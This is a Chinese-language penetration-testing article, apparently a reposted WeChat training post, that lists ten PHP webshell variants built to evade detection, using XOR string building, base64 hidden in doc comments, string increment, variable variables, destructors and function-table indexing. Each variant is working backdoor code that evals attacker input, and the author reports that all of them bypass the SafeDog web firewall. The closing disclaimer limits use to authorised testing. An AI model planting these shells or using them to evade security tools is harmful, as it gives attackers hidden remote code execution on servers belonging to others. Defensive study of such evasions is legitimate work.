本文由掌控安全学院 - 手电筒 投稿
1.php的异或运算
$a
=
"~+d()"
^
"!{+{}"
这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符,按二进制位进行异或运算
这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码
通过这个转换的方式来绕过检测
<?
php
$a
=
(
"!"
^
"@"
).
'ssert'
;
$a
(
$_REQUEST
[
x
]);
?>
测试可以成功连接
2.通过获取注释去绕过
<?
php
/**
* YXNzZXJ0YmZnZmc=
*/
class
Example
{
public
function
fn
()
{
}
}
通过一个空的类去获取,
$reflector
=
new
ReflectionClass
(
'Example'
);
//这里为通过反射获取类的注释
$zhushi
=
substr
((
$reflector
->
getDocComment
()),
7
,
12
);
//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示
$zhushi
=
base64_decode
(
$zhushi
);
$zhushi
=
substr
(
$zhushi
,
0
,
6
);
echo $zhushi
;
foreach
(
array
(
'_POST'
,
'_GET'
)
as
$_request
)
{
foreach
(
$$_request
as
$_key
=>
$_value
)
{
$$_key
=
$_value
;
}
}
/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离
再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容
*/
$zhushi
(
$_value
);
//最后就是assert(传入的变量值)
?>
原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell
测试可以成功连接
3.利用字符的运算符
<?
php
$__
=
"assers"
;
++
$__
;
//echo ++$__;
$__
(
$_REQUEST
[
x
]);
?>
设$__ 为字符串assers,然后对这个字符串进行自增操作,这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert,然后去拼接($_REQUEST[x]);,生成shell
测试可以正常连接
4.通过end函数代替[]
<?
php
eval
(
end
(
$_REQUEST
));?>
这里的end函数的作用是输出数组中当前元素和最后一个元素的值,这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参
测试可以正常连接
5.通过常量去绕过
<?
php define
(
"a"
,
"$_GET[1]"
);
eval
(
a
);?>
这里的关键在于define函数,这个函数的作用是定义一个常量
我们这里设置一个常量为a,它的值是$_GET[1],然后再去eval执行常量a,实际就是eval($_GET[1]);,从而达到绕过的目的
测试可以正常连接
6.字符串拼接+双美元符
<?
php
$a
=
'ass'
;
$b
=
'ert'
;
$funcName
=
$a
.
$b
;
$x
=
'funcName'
;
$$x
(
$_REQUEST
[
1
]);
?>
这里通过把关键的assert进行分割,然后拼接,然后通过$$,利用可变变量去执行
测试可以正常连接
7.通过函数定义绕过
<?
php
function
a
(
$a
){
return
$a
;}
eval
(
a
(
$_REQUEST
)[
1
]);
?>
这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容,这里shell里的
a($_REQUEST)[1] 的实际效果为 a($_REQUEST),相当于是a($a),会返回$a的内容,结果为
$_REQUEST,最后一行的实际内容为eval($_REQUEST[1]);
测试可以正常连接
8.通过类定义,然后传参分割
<?
php
class
User
{
public
$name
=
''
;
function
__destruct
(){
eval
(
"$this->name"
);
}
}
$user
=
new
User
;
$user
->
name
=
''
.
$_REQUEST
[
1
];
?>
通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,
然后,$user->name这个相当于是$this->name,等于’’.$_REQUEST[1];
最后$user->name = ‘’.$_REQUEST[1]; 相当于eval($_REQUEST[1])
测试可以正常连接
9.多传参方式绕过
<?
php
$COOKIE
=
$_COOKIE
;
foreach
(
$COOKIE
as
$key
=>
$value
){
if
(
$key
==
'assert'
){
$key
(
$_REQUEST
[
's'
]);
}
}
?>
这里设置$cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,$key为键,$value为值,然后进行一个if判断,当$key为assert时,$key拼接($_REQUEST[‘s’]); 达到生成shell效果
测试可以正常连接
10.通过get_defined_functions绕过
<?
php
$a
=
get_defined_functions
();
$a
[
'internal'
][
841
](
$_GET
[
'a'
]);
?>
这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过[‘internal’][841]去访问并调用相应函数,然后后接($_GET[‘a’]),生成shell
测试可以正常连接
用安全狗进行检测
以上方案里的均能过安全狗
关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文上做补充
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
原文始发于微信公众号(掌控安全EDU):渗透测试 | php的webshell绕过方法总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论